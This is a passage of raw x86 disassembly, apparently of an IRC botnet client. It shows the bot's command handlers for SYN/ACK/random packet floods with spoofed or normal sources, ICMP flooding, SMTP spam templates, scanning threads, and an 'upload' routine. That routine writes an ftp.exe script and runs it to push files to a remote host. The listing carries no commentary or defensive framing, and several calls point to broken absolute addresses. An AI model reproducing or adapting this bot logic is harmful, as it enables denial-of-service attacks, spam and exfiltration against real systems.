		call	sub_41BEB0
		push	[ebp+arg_18]
		lea	eax, [ebp+var_4588]
		push	eax
		call	sub_41BEB0
		push	offset asc_42CA2C ; " "
		push	offset dword_42B4FC
		push	[ebp+esi+var_7C]
		call	sub_417EEE
		push	eax
		lea	eax, [ebp+var_4288]
		push	eax
		call	sub_41BEB0
		add	esp, 30h
		lea	eax, [ebp+var_5588]
		push	eax
		push	101h
		call	dword_4CAEE4
		lea	eax, [ebp+var_47EC]
		push	eax
		call	dword_4CAFF8
		push	6
		push	1
		push	2
		mov	edi, eax
		call	dword_4CAFF4
		push	[ebp+arg_10]
		mov	esi, eax
		mov	[ebp+var_31C], 2
		mov	eax, [edi+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp+var_318], eax
		call	dword_4CAF74
		mov	[ebp+var_31A], ax
		lea	eax, [ebp+var_4288]
		push	eax
		lea	eax, [ebp+var_4188]
		push	eax
		lea	eax, [ebp+var_4288]
		push	eax
		lea	eax, [ebp+var_4588]
		push	eax
		lea	eax, [ebp+var_4188]
		push	eax
		lea	eax, [ebp+var_5988]
		push	offset aHeloRndnickMai ; "helo $rndnick\nmail from: <%s>\nrcpt to: "...
		push	eax
		call	sub_41B886
		add	esp, 1Ch
		lea	eax, [ebp+var_31C]
		push	10h
		push	eax
		push	esi
		call	dword_4CAF1C
		mov	edi, 100h
		push	ebx
		lea	eax, [ebp+var_4088]
		push	edi
		push	eax
		push	esi
		call	dword_4CAF8C
		lea	eax, [ebp+var_4088]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_5988]
		push	eax
		push	esi
		call	dword_4CAFC4
		push	ebx
		lea	eax, [ebp+var_4088]
		push	edi
		push	eax
		push	esi
		call	dword_4CAF8C
		push	esi
		call	dword_4CB00C
		call	dword_4CAECC
		lea	eax, [ebp+var_4588]
		push	eax
		push	offset unk_42A9CC


loc_406CCF:				; CODE XREF: sub_401ACD+2E82j
					; sub_401ACD+4666j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886


loc_406CDB:				; CODE XREF: sub_401ACD+248Bj
		add	esp, 0Ch


loc_406CDE:				; CODE XREF: sub_401ACD+4584j
					; sub_401ACD+6653j ...
		cmp	[ebp+var_8], ebx
		jnz	short loc_406CFF
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h


loc_406CFF:				; CODE XREF: sub_401ACD+29B2j
					; sub_401ACD+2A05j ...
		mov	esi, [ebp+arg_24]


loc_406D02:				; CODE XREF: sub_401ACD+68F2j
					; sub_401ACD+78E2j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AC
		pop	ecx
		mov	eax, esi
		jmp	loc_401E97
; ---------------------------------------------------------------------------


loc_406D16:				; CODE XREF: sub_401ACD+50ACj
		push	[ebp+arg_8]
		push	offset aHttpcon	; "httpcon"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_406D40
		push	[ebp+arg_8]
		push	offset aHcon	; "hcon"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4072E8


loc_406D40:				; CODE XREF: sub_401ACD+525Aj
		push	[ebp+esi+var_7C]
		push	[ebp+arg_18]
		push	[ebp+arg_0]
		push	edi
		call	sub_41B779
		pop	ecx
		push	eax
		push	[ebp+arg_10]
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_4100DB
		jmp	loc_4040AA
; ---------------------------------------------------------------------------


loc_406D6E:				; CODE XREF: sub_401ACD+507Ej
					; sub_401ACD+5095j
		push	[ebp+arg_10]
		mov	esi, 80h
		lea	eax, [ebp+var_1354]
		push	esi
		push	eax
		call	sub_41B980
		lea	eax, [ebp+var_1354]
		push	eax
		push	offset aSyn	; "syn"
		call	sub_41C070
		add	esp, 14h
		test	eax, eax
		jz	short loc_406DD3
		lea	eax, [ebp+var_1354]
		push	eax
		push	offset aAck	; "ack"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_406DD3
		lea	eax, [ebp+var_1354]
		push	eax
		push	offset aRandom_0 ; "random"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_406DD3
		push	offset unk_42A984
		jmp	loc_406F04
; ---------------------------------------------------------------------------


loc_406DD3:				; CODE XREF: sub_401ACD+52CCj
					; sub_401ACD+52E3j ...
		push	[ebp+arg_18]
		call	sub_41B779
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_124C],	eax
		jle	loc_406EFF
		push	[ebp+arg_10]
		lea	eax, [ebp+var_1354]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		lea	eax, [ebp+var_13D4]
		push	edi
		push	esi
		push	eax
		call	sub_41B980
		push	[ebp+arg_0]
		call	sub_41B779
		mov	[ebp+var_1250],	eax
		add	esp, 10h
		xor	eax, eax
		cmp	[ebp+var_8EE], bl
		push	[ebp+var_88]
		setnz	al
		mov	[ebp+var_1248],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_13D8],	eax
		lea	eax, [ebp+var_12D4]
		push	esi
		push	eax
		call	sub_41B980
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		cmp	[ebp+var_1248],	ebx
		mov	[ebp+var_1244],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_1240],	eax
		mov	eax, offset aSpoofed ; "Spoofed"
		jnz	short loc_406E70
		mov	eax, offset aNormal ; "Normal"


loc_406E70:				; CODE XREF: sub_401ACD+539Cj
		push	[ebp+arg_18]
		push	[ebp+arg_0]
		push	edi
		push	[ebp+arg_10]
		push	eax
		push	offset unk_42A940
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41B980
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	14h
		push	eax
		call	sub_40B0F6
		add	esp, 2Ch
		mov	[ebp+var_1254],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_13D8]
		push	ebx
		push	eax
		push	offset byte_413E35
		push	ebx
		push	ebx
		nop
		call	near ptr 2690448h
		mov	ecx, [ebp+var_1254]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_406EEE


loc_406ED8:				; CODE XREF: sub_401ACD+541Fj
		cmp	[ebp+var_123C],	ebx
		jnz	loc_40828B
		push	32h
		nop
		call	near ptr 26903FCh
		jmp	short loc_406ED8
; ---------------------------------------------------------------------------


loc_406EEE:				; CODE XREF: sub_401ACD+5409j
		nop
		call	near ptr 2690DCCh
		push	eax
		push	offset unk_42A908
		jmp	loc_4049EB
; ---------------------------------------------------------------------------


loc_406EFF:				; CODE XREF: sub_401ACD+5317j
		push	offset unk_42A8D0


loc_406F04:				; CODE XREF: sub_401ACD+2018j
					; sub_401ACD+202Ej ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	loc_40828B
; ---------------------------------------------------------------------------


loc_406F17:				; CODE XREF: sub_401ACD+5039j
					; sub_401ACD+5050j ...
		cmp	dword_4CB064, ebx
		jnz	loc_407026
		mov	eax, [ebp+var_8]
		push	7Fh
		push	[ebp+arg_10]
		mov	[ebp+var_FF4], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_FF8], eax
		lea	eax, [ebp+var_108C]
		push	eax
		call	sub_41B5F0
		push	edi
		call	sub_41B779
		push	[ebp+arg_0]
		mov	[ebp+var_100C],	eax
		call	sub_41B779
		push	[ebp+arg_18]
		mov	[ebp+var_1008],	eax
		call	sub_41B779
		push	7Fh
		mov	[ebp+var_1004],	eax
		push	[ebp+var_88]
		lea	eax, [ebp+var_110C]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+arg_4]
		add	esp, 24h
		mov	[ebp+var_1110],	eax
		lea	eax, [ebp+var_108C]
		push	[ebp+var_1004]
		push	[ebp+var_1008]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_100C]
		push	offset unk_42A888
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	16h
		push	eax
		call	sub_40B0F6
		add	esp, 24h
		mov	[ebp+var_FFC], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1110]
		push	ebx
		push	eax
		push	offset dword_413284
		push	ebx
		push	ebx
		nop
		call	near ptr 2690448h
		mov	ecx, [ebp+var_FFC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_407015


loc_406FFF:				; CODE XREF: sub_401ACD+5546j
		cmp	[ebp+var_FF0], ebx
		jnz	loc_40828B
		push	32h
		nop
		call	near ptr 26903FCh
		jmp	short loc_406FFF
; ---------------------------------------------------------------------------


loc_407015:				; CODE XREF: sub_401ACD+5530j
		nop
		call	near ptr 2690DCCh
		push	eax
		push	offset unk_42A850
		jmp	loc_4049EB
; ---------------------------------------------------------------------------


loc_407026:				; CODE XREF: sub_401ACD+5450j
		push	1FFh
		lea	eax, [ebp+var_2C4]
		push	offset aIcmp_dllNotAva ; "ICMP.dll not available"
		push	eax
		call	sub_41B5F0
		jmp	loc_408288
; ---------------------------------------------------------------------------


loc_407041:				; CODE XREF: sub_401ACD+500Bj
					; sub_401ACD+5022j
		push	edi
		lea	eax, [ebp+var_2C4]
		push	[ebp+arg_10]
		push	[ebp+arg_0]
		push	offset unk_42A7FC
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		push	[ebp+arg_0]
		call	sub_41AFE0
		mov	edx, eax
		push	edi
		mov	edi, edx
		call	sub_41AFE0
		push	[ebp+arg_10]
		add	edi, eax
		call	sub_41AFE0
		push	[ebp+arg_8]
		add	edi, eax
		call	sub_41AFE0
		add	eax, [ebp+var_C]
		push	[ebp+arg_18]
		lea	eax, [eax+edi+7]
		push	eax
		call	sub_41B900
		add	esp, 40h
		mov	[ebp+arg_C], eax
		push	[ebp+arg_0]
		call	sub_41B779
		mov	edi, [ebp+arg_1C]
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+arg_14], eax
		mov	[ebp+arg_20], ebx
		jle	short loc_40713B


loc_4070C4:				; CODE XREF: sub_401ACD+561Bj
		push	[ebp+arg_C]
		push	edi
		push	[ebp+arg_10]
		call	sub_4185A4
		add	esp, 0Ch
		cmp	eax, 1
		mov	[ebp+arg_1C], eax
		jz	short loc_4070EC
		cmp	eax, ebx
		jnz	short loc_40710B
		inc	[ebp+arg_20]
		mov	eax, [ebp+arg_20]
		cmp	eax, [ebp+arg_14]
		jl	short loc_4070C4
		jmp	short loc_407144
; ---------------------------------------------------------------------------


loc_4070EC:				; CODE XREF: sub_401ACD+560Cj
		push	ebx
		push	[ebp+var_4]
		push	offset unk_42A7C4


loc_4070F5:				; CODE XREF: sub_401ACD+5680j
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h
		jmp	loc_4072E8
; ---------------------------------------------------------------------------


loc_40710B:				; CODE XREF: sub_401ACD+5610j
		push	[ebp+arg_1C]
		lea	eax, [ebp+var_2C4]
		push	offset unk_42A790
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 20h


loc_40713B:				; CODE XREF: sub_401ACD+55F5j
		cmp	[ebp+arg_1C], ebx
		jnz	loc_4072E8


loc_407144:				; CODE XREF: sub_401ACD+561Dj
		push	ebx
		push	[ebp+var_4]
		push	offset unk_42A75C
		jmp	short loc_4070F5
; ---------------------------------------------------------------------------


loc_40714F:				; CODE XREF: sub_401ACD+4FC6j
					; sub_401ACD+4FDDj ...
		mov	eax, [ebp+var_8]
		push	7Fh
		push	[ebp+arg_10]
		mov	[ebp+var_C64], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_C68], eax
		lea	eax, [ebp+var_CFC]
		push	eax
		call	sub_41B5F0
		push	edi
		call	sub_41B779
		push	[ebp+arg_0]
		mov	[ebp+var_C7C], eax
		call	sub_41B779
		push	[ebp+arg_18]
		mov	[ebp+var_C78], eax
		call	sub_41B779
		mov	esi, [ebp+esi+var_7C]
		add	esp, 18h
		cmp	esi, ebx
		mov	[ebp+var_C74], eax
		jz	short loc_4071B4
		push	esi
		call	sub_41B779
		pop	ecx
		mov	[ebp+var_C70], eax
		jmp	short loc_4071BA
; ---------------------------------------------------------------------------


loc_4071B4:				; CODE XREF: sub_401ACD+56D6j
		mov	[ebp+var_C70], ebx


loc_4071BA:				; CODE XREF: sub_401ACD+56E5j
		push	7Fh
		lea	eax, [ebp+var_D7C]
		push	[ebp+var_88]
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch
		mov	esi, [ebp+arg_4]
		lea	eax, [ebp+var_CFC]
		mov	[ebp+var_D80], esi
		push	[ebp+var_C74]
		push	[ebp+var_C78]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_C7C]
		push	offset unk_42A714
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	17h
		push	eax
		call	sub_40B0F6
		add	esp, 24h
		mov	[ebp+var_C6C], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_D80]
		push	ebx
		push	eax
		push	offset dword_413410
		push	ebx
		push	ebx
		nop
		call	near ptr 2690448h
		mov	ecx, [ebp+var_C6C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_40725D


loc_40724B:				; CODE XREF: sub_401ACD+578Ej
		cmp	[ebp+var_C60], ebx
		jnz	short loc_407278
		push	32h
		call	near ptr 26903FCh
		nop
		jmp	short loc_40724B
; ---------------------------------------------------------------------------


loc_40725D:				; CODE XREF: sub_401ACD+577Cj
		call	near ptr 2690DCCh
		nop
		push	eax
		push	offset unk_42A6DC


loc_407269:				; CODE XREF: sub_401ACD+4E31j
					; sub_401ACD+62BEj ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch


loc_407278:				; CODE XREF: sub_401ACD+4E15j
					; sub_401ACD+5784j ...
		cmp	[ebp+var_8], ebx
		jnz	loc_4083BC
		push	ebx
		push	[ebp+var_4]


loc_407285:				; CODE XREF: sub_401ACD+22DEj
		lea	eax, [ebp+var_2C4]
		push	eax
		push	[ebp+var_88]
		push	esi
		jmp	loc_4082A8
; ---------------------------------------------------------------------------


loc_407298:				; CODE XREF: sub_401ACD+4F98j
					; sub_401ACD+4FAFj
		push	0Bh
		call	sub_40B33E
		push	edi
		mov	[ebp+arg_1C], eax
		call	sub_41B779
		add	eax, [ebp+arg_1C]
		pop	ecx
		pop	ecx
		cmp	eax, 1F4h
		jle	loc_407454
		push	[ebp+arg_1C]
		lea	eax, [ebp+var_2C4]
		push	offset unk_42A69C
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 20h


loc_4072E8:				; CODE XREF: sub_401ACD+526Dj
					; sub_401ACD+5639j ...
		mov	esi, [ebp+esi+var_7C]
		cmp	esi, ebx
		jz	loc_401E94
		push	[ebp+arg_8]
		push	offset aUpload	; "upload"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_409854
		push	4
		push	esi
		call	sub_416908
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_407324
		push	esi
		push	offset unk_42A674
		jmp	loc_408CDB
; ---------------------------------------------------------------------------


loc_407324:				; CODE XREF: sub_401ACD+584Aj
		nop
		call	near ptr 26A0B9Fh
		push	eax
		call	sub_41B8D8
		pop	ecx
		call	sub_41B8E2
		push	9
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_41B8E2
		push	63h
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_41B8E2
		cdq
		mov	ecx, 3E7h
		idiv	ecx
		lea	eax, [ebp+var_51F8]
		push	edx
		push	eax
		lea	eax, [ebp+var_2E58]
		push	offset aSIII_dll ; "%s\\%i%i%i.dll"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2E58]
		push	offset aAb	; "ab"
		push	eax
		call	sub_41B4C2
		add	esp, 20h
		cmp	eax, ebx
		mov	[ebp+arg_24], eax
		jz	loc_401E94
		push	esi
		push	[ebp+arg_18]
		push	[ebp+arg_0]
		push	edi
		push	[ebp+arg_10]
		push	offset aOpenSSSSPutSBy ; "open %s\r\n%s\r\n%s\r\n%s\r\nput %s\r\nbye\r\n"
		push	eax
		call	sub_41BE06
		push	[ebp+arg_24]
		call	sub_41B05B
		add	esp, 20h
		lea	eax, [ebp+var_2E58]
		push	eax
		lea	eax, [ebp+var_4CF0]
		push	offset aSS_2	; "-s:%s"
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		lea	eax, [ebp+var_4CF0]
		push	ebx
		push	ebx
		push	eax
		push	offset aFtp_exe	; "ftp.exe"
		push	offset aOpen	; "open"
		push	ebx
		call	dword_4CAEE0
		push	[ebp+arg_10]
		test	eax, eax
		push	esi
		jz	short loc_4073F3
		push	offset unk_42A604
		jmp	short loc_4073F8
; ---------------------------------------------------------------------------


loc_4073F3:				; CODE XREF: sub_401ACD+591Dj
		push	offset unk_42A5D4


loc_4073F8:				; CODE XREF: sub_401ACD+5924j
		call	sub_41B886
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	short loc_407421
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h


loc_407421:				; CODE XREF: sub_401ACD+5936j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AC


loc_40742D:				; CODE XREF: sub_401ACD+5985j
		lea	eax, [ebp+var_2E58]
		push	4
		push	eax
		call	sub_416908
		add	esp, 0Ch
		test	eax, eax
		jz	loc_401E94
		lea	eax, [ebp+var_2E58]
		push	eax
		call	sub_41BDDC
		jmp	short loc_40742D
; ---------------------------------------------------------------------------


loc_407454:				; CODE XREF: sub_401ACD+57E5j
		push	[ebp+arg_10]
		call	sub_41B779
		push	edi
		mov	[ebp+var_370], eax
		call	sub_41B779
		push	[ebp+arg_0]
		mov	[ebp+var_358], eax
		call	sub_41B779
		add	esp, 0Ch
		cmp	eax, 5
		mov	[ebp+var_36C], eax
		jnb	short loc_40748D
		push	5
		pop	eax
		mov	[ebp+var_36C], eax


loc_40748D:				; CODE XREF: sub_401ACD+59B5j
		push	3Ch
		pop	ecx
		cmp	eax, ecx
		jbe	short loc_40749A
		mov	[ebp+var_36C], ecx


loc_40749A:				; CODE XREF: sub_401ACD+59C5j
		push	[ebp+arg_18]
		call	sub_41B779
		mov	[ebp+var_368], eax
		mov	eax, 320h
		cmp	[ebp+var_368], eax
		pop	ecx
		jbe	short loc_4074BC
		mov	[ebp+var_368], eax


loc_4074BC:				; CODE XREF: sub_401ACD+59E7j
		or	[ebp+var_354], 0FFFFFFFFh
		cmp	dword_431408, ebx
		mov	[ebp+arg_20], ebx
		jz	short loc_40750B
		mov	edi, offset dword_431408


loc_4074D3:				; CODE XREF: sub_401ACD+5A20j
		push	[ebp+arg_10]
		lea	eax, [edi-28h]
		push	eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4074F1
		inc	[ebp+arg_20]
		add	edi, 40h
		cmp	[edi], ebx
		jnz	short loc_4074D3
		jmp	short loc_40750B
; ---------------------------------------------------------------------------


loc_4074F1:				; CODE XREF: sub_401ACD+5A16j
		mov	eax, [ebp+arg_20]
		mov	ecx, eax
		mov	[ebp+var_354], eax
		shl	ecx, 6
		mov	ecx, dword_431408[ecx]
		mov	[ebp+var_370], ecx


loc_40750B:				; CODE XREF: sub_401ACD+59FFj
					; sub_401ACD+5A22j
		cmp	[ebp+var_370], ebx
		jnz	short loc_40751D
		push	offset unk_42A5A0
		jmp	loc_406F04
; ---------------------------------------------------------------------------


loc_40751D:				; CODE XREF: sub_401ACD+5A44j
		mov	edi, [ebp+esi+var_7C]
		cmp	edi, ebx
		mov	[ebp+arg_0], edi
		jz	short loc_407558
		cmp	byte ptr [edi],	23h
		jz	short loc_407558
		push	edi
		lea	eax, [ebp+var_484]
		push	10h
		push	eax
		call	sub_41B980
		push	78h
		push	edi
		call	sub_41BFB0
		add	esp, 14h
		neg	eax
		sbb	eax, eax
		neg	eax
		mov	[ebp+var_344], eax
		jmp	loc_407632
; ---------------------------------------------------------------------------


loc_407558:				; CODE XREF: sub_401ACD+5A59j
					; sub_401ACD+5A5Ej
		cmp	[ebp+var_8FF], bl
		jnz	short loc_40757A
		cmp	[ebp+var_8FE], bl
		jnz	short loc_40757A
		cmp	[ebp+var_8EE], bl
		jnz	short loc_40757A
		push	offset unk_42A56C
		jmp	loc_406F04
; ---------------------------------------------------------------------------


loc_40757A:				; CODE XREF: sub_401ACD+5A91j
					; sub_401ACD+5A99j ...
		push	10h
		lea	eax, [ebp+var_2D0]
		pop	edi
		push	eax
		lea	eax, [ebp+var_2F8]
		push	eax
		mov	[ebp+var_2D0], edi
		push	[ebp+arg_4]
		call	dword_4CAF18
		mov	al, [ebp+var_8FF]
		push	edi
		neg	al
		sbb	eax, eax
		and	ax, 100h
		add	eax, 0FFFFh
		and	[ebp+var_2F4], eax
		push	[ebp+var_2F4]
		call	dword_4CB000
		push	eax
		lea	eax, [ebp+var_484]
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch
		cmp	[ebp+var_8EE], bl
		jz	short loc_40762C
		xor	eax, eax
		cmp	[ebp+var_8FF], bl
		push	30h
		setnz	al
		inc	eax
		inc	eax
		mov	edi, eax
		lea	eax, [ebp+var_484]
		push	eax
		call	sub_41BE40
		pop	ecx
		cmp	edi, ebx
		pop	ecx
		mov	byte ptr [ebp+arg_24+3], bl
		jle	short loc_407620


loc_4075FE:				; CODE XREF: sub_401ACD+5B51j
		cmp	eax, ebx
		jz	short loc_407620
		mov	byte ptr [eax],	78h
		lea	eax, [ebp+var_484]
		push	30h
		push	eax
		call	sub_41BE40
		inc	byte ptr [ebp+arg_24+3]
		pop	ecx
		pop	ecx
		movsx	ecx, byte ptr [ebp+arg_24+3]
		cmp	ecx, edi
		jl	short loc_4075FE


loc_407620:				; CODE XREF: sub_401ACD+5B2Fj
					; sub_401ACD+5B33j
		mov	[ebp+var_344], 1
		jmp	short loc_407632
; ---------------------------------------------------------------------------


loc_40762C:				; CODE XREF: sub_401ACD+5B09j
		mov	[ebp+var_344], ebx


loc_407632:				; CODE XREF: sub_401ACD+5A86j
					; sub_401ACD+5B5Dj
		mov	eax, [ebp+arg_4]
		push	[ebp+var_88]
		mov	[ebp+var_374], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_34C], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_348], eax
		mov	edi, 80h
		lea	eax, [ebp+var_474]
		push	edi
		push	eax
		call	sub_41B980
		mov	esi, [ebp+esi+var_78]
		add	esp, 0Ch
		cmp	esi, ebx
		jz	short loc_407683


loc_407670:				; CODE XREF: sub_401ACD+5BD9j
		push	esi


loc_407671:				; CODE XREF: sub_401ACD+5BC3j
		lea	eax, [ebp+var_3F4]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		jmp	short loc_4076AE
; ---------------------------------------------------------------------------


loc_407683:				; CODE XREF: sub_401ACD+5BA1j
		mov	eax, [ebp+arg_0]
		cmp	eax, ebx
		jz	short loc_407692
		cmp	byte ptr [eax],	23h
		jnz	short loc_407692
		push	eax
		jmp	short loc_407671
; ---------------------------------------------------------------------------


loc_407692:				; CODE XREF: sub_401ACD+5BBBj
					; sub_401ACD+5BC0j
		mov	esi, offset aF	; "#f"
		push	offset dword_43D128
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_407670
		mov	[ebp+var_3F4], bl


loc_4076AE:				; CODE XREF: sub_401ACD+5BB4j
		cmp	[ebp+var_344], ebx
		mov	eax, offset aRandom ; "Random"
		jnz	short loc_4076C0
		mov	eax, offset aSequential	; "Sequential"


loc_4076C0:				; CODE XREF: sub_401ACD+5BECj
		push	[ebp+var_358]
		lea	ecx, [ebp+var_484]
		push	[ebp+var_368]
		push	[ebp+var_36C]
		push	[ebp+var_370]
		push	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42A504
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Bh
		push	eax
		call	sub_40B0F6
		add	esp, 2Ch
		mov	[ebp+var_364], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_484]
		push	ebx
		push	eax
		push	offset loc_40C33C
		push	ebx
		push	ebx
		nop
		call	near ptr 2690448h
		mov	ecx, [ebp+var_364]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_40774E


loc_407738:				; CODE XREF: sub_401ACD+5C7Fj
		cmp	[ebp+var_340], ebx
		jnz	loc_40828B
		push	32h
		call	near ptr 26903FCh
		nop
		jmp	short loc_407738
; ---------------------------------------------------------------------------


loc_40774E:				; CODE XREF: sub_401ACD+5C69j
		nop
		call	near ptr 2690DCCh
		push	eax
		push	offset unk_42A4CC
		jmp	loc_4049EB
; ---------------------------------------------------------------------------


loc_40775F:				; CODE XREF: sub_401ACD+4F6Aj
					; sub_401ACD+4F81j
		push	[ebp+arg_10]
		call	sub_40AAF9
		push	edi
		mov	[ebp+var_4E0], eax
		call	sub_41B779
		push	[ebp+arg_0]
		mov	[ebp+var_4F0], eax
		call	sub_41B779
		push	[ebp+arg_18]
		mov	[ebp+var_4EC], eax
		call	sub_41B779
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_88]
		mov	[ebp+var_4E8], eax
		lea	eax, [ebp+var_570]
		mov	[ebp+var_574], esi
		push	eax
		call	sub_41B5F0
		add	esp, 1Ch
		mov	edi, [ebp+var_4]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_4D8], edi
		push	[ebp+var_4EC]
		mov	[ebp+var_4D4], eax
		push	[ebp+var_4F0]
		push	[ebp+var_4E8]
		push	[ebp+var_4E0]
		call	dword_4CB000
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42A47C
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Bh
		push	eax
		call	sub_40B0F6
		add	esp, 24h
		mov	[ebp+var_4E4], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_574]
		push	ebx
		push	eax
		push	offset byte_40C759
		push	ebx
		push	ebx
		nop
		call	near ptr 2690448h
		mov	ecx, [ebp+var_4E4]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_407854


loc_40783E:				; CODE XREF: sub_401ACD+5D85j
		cmp	[ebp+var_4D0], ebx
		jnz	loc_403DA0
		push	32h
		call	near ptr 26903FCh
		nop
		jmp	short loc_40783E
; ---------------------------------------------------------------------------


loc_407854:				; CODE XREF: sub_401ACD+5D6Fj
		nop
		call	near ptr 2690DCCh
		push	eax
		push	offset unk_42A440
		jmp	loc_403D91
; ---------------------------------------------------------------------------


loc_407865:				; CODE XREF: sub_401ACD+4F2Dj
					; sub_401ACD+4F44j
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		cmp	byte_43DEC8[eax], bl
		jz	loc_409854
		cmp	[ebp+var_C], ebx
		jz	loc_409854
		push	edi
		call	sub_41AFE0
		push	[ebp+arg_10]
		mov	esi, eax
		call	sub_41AFE0
		push	[ebp+arg_8]
		add	esi, eax
		call	sub_41AFE0
		add	eax, [ebp+var_C]
		push	[ebp+arg_0]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_41B900
		add	esp, 14h
		mov	esi, eax
		lea	eax, [ebp+var_2C4]
		push	esi
		push	offset dword_42A434
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		cmp	esi, ebx
		jz	loc_409854
		push	[ebp+arg_10]
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jle	loc_409854
		push	[ebp+arg_10]
		call	sub_41B779
		cmp	eax, 400h
		pop	ecx
		jge	loc_409854
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	ebx
		push	eax
		push	edi
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		push	dword_43DEBC[eax]
		call	sub_409A72
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 234h
		add	esp, 18h
		cmp	byte ptr dword_43DCB0[eax], 73h
		jnz	loc_409854
		push	esi
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		add	eax, offset byte_43DEC8
		push	eax
		push	edi
		push	offset aSSS_2	; "[%s]	* %s %s"
		jmp	loc_407A35
; ---------------------------------------------------------------------------


loc_40795D:				; CODE XREF: sub_401ACD+4EFFj
					; sub_401ACD+4F16j
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		cmp	byte_43DEC8[eax], bl
		jz	loc_409854
		cmp	[ebp+var_C], ebx
		jz	loc_409854
		push	edi
		call	sub_41AFE0
